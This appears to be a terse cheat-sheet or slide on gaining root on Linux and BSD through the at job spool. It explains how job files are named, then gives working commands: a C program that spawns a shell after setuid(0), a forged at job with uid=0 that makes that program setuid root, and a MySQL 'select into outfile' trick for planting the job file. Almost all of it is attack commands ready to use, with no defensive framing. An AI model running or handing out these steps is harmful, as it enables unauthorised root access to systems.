|
linux bsd -------------------------------------------------------------------- directory /var/spool/cron/atjobs /var/at/jobs queue a c,E jobs need +x flag yes no |
a 00001 00fce162 v vvvvv vvvvvvvv | | | | | + date in minutes (0 will always work) | | | + an autoincrement id | + queue a ... linux (debian), c ... (default bsd) man at for more details |
#!/bin/sh # atrun uid=[uid] gid=[gid] # mail [user] 0 ... set some environment variables ... execute some commands |
$ cat > /tmp/boomsh.c << EOF int main() { setuid(0); setgid(0); system("/bin/sh"); } EOF $ gcc /tmp/boomsh.c -o /tmp/s |
# ls -al /var/spool/atjobs -rwx------ 1 andi andi 655 Jul 5 22:39 a0000100fce162 $ cat > /tmp/a000100fce162 << EOF #!/bin/sh # atrun uid=0 gid=0 # mail root 0 chown root.root /tmp/s chmod 4755 /tmp/s EOF |
$ mysql -u user -p db > create table x (y text); > load data infile "/home/user/atjob" into table x; > select * into outfile "/var/at/jobs/a0735000000000" fields escaped by '' from x; |